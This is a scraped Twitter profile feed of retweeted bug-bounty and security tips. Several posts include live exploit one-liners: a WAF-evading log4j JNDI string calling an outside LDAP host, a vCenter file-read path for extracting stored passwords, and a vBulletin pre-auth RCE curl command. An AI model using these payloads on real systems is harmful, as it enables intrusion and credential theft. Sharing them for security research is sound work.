Tipsy Hacker @tipsyhacker0x69

The best way to protect your code is to learn about how to write secure software. Joined October 2010

Tweets

875
Followers

381
Following

633
Likes

562

ROOTCON @rootconorg

2 years ago

Looking forward to expanding our villages soon!

1 6 29 4K 0

Download Image

Pwn De Manila @pwndemanila

3 years ago

Late post, but congratulations to Team CountToTen for winning the ROOTCON 16 CTF! @rootconorg Thanks, and we hope to see everyone next year! Cheers, - head baker Scoreboard below:

0 9 17 0 0

Download Image

xxux11 ᯲ ̸ @11xuxx

4 years ago

Just bypassed AWS WAF for log4j jndi injection: ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://mydogsbutt.com:1389/o} Anyone who care to share Akamai Bypass? #bugbountytips

16 367 1K 0 204

Download Image

At FullHunt, we developed, log4j-scan: a fully automated, accurate, and extensive scanner for finding log4j RCE CVE-2021-44228. It was mainly for our customers. It's now open-source! github.com/fullhunt/log4j… All FullHunt customers have this RCE resolved now.

14 354 1K 0 213

Download Image

payloadartist @payloadartist

4 years ago

Don't forget to use the handy Burp Proxy Match and Replace rules for finding #Log4Shell, while browsing targets. Pretty simple but effective. #bugbountytips #bugbounty #infosec #cybersecurity #log4j

5 100 283 0 81

Download Image

JoeInfoSec @joeinfosec

4 years ago

@mrd0x You are right. I tested with admin/noadmin user. Both worked! Bypassed Crowdstrike!

3 14 81 0 10

Download Image

payloadartist @payloadartist

5 years ago

Unauthenticated Arbitrary File Read vulnerability in VMware vCenter before version 6.5u1 PoC for extracting passwords from vcdb.properties file - /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties #bugbounty #cybersecurity #security

5 298 685 0 88

Download Image

m4ll0k @m4ll0k

5 years ago

How to access to company without being part of it with google oauth, with your gmail account.. [it only works if the company has a misconfiguration!] #bugbountytips #bugbounty

12 381 959 0 532

Download Image

Imran Parray @imranparray101

5 years ago

Adding the list of URL's/Domains to BURP with CURL. #bugbounty #bugbountytips #oneliner #Linux

8 58 147 0 50

Download Image

Intigriti @intigriti

5 years ago

Did you know you could combine ffuf with Burp to get the best of both tools? Thanks for the #BugBountyTip, @InsiderPhD! #BugBountyTips

6 95 345 0 72

Download Image

Amir Etemadieh @Zenofex

5 years ago

Today I released my research on vBulletin5 including a new pre-auth 0day RCE exploit blog.exploitee.rs/2020/exploitin… POC: curl -s http://SITE/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20shell_exec("id"); exit;'

11 233 476 0 76

Download Image

Jitesh Kumar @j1t35h

5 years ago

Nice tip by @offensivekrish 🔥🔥 #bugbountytips #bugbounty

1 54 121 0 34

Download Image

Hx01 @Hxzeroone

5 years ago

I created a burpsuite plugin for parsing quoted-printable encoded emails; this may help if you use burp collaborator SMTP for conducting tests & want to decode email confirmation URLs. github.com/Hxzeroone/quot… #BugBounty #BugBountytips

6 73 216 0 39

Download Image

Jenish Sojitra @_jensec

5 years ago

#bugbountytips #bugbounty How I was able to find multiple critical vulnerabilities to get Full Account Takeover with the help of PlayStore and AppStore region settings.

24 238 807 0 348

Download Image

Arun Mane @rootkill3r

5 years ago

While driving car in Pune, India suddenly teleported to New York,US virtually without US visa😜. That’s really fun to playing with GPS based vulnerability. Cc @AmynaSec @CarHackVillage #AutomotiveCybersecurity #ISO21434 #SAE21434 #J3061 #EVITA #IoT #IoTHacking

2 8 65 0 2

Download Video

Tipsy Hacker @tipsyhacker0x69

5 years ago

The best way to protect your code is to learn about how to write secure software.

0 0 0 0 0

Intigriti @intigriti

5 years ago

Fuzz all the things, they say. So next time you're testing a Drupal site, remember @adrien_jeanneau's excellent #BugBountyTip! #HackWithIntigriti #BugBountyTips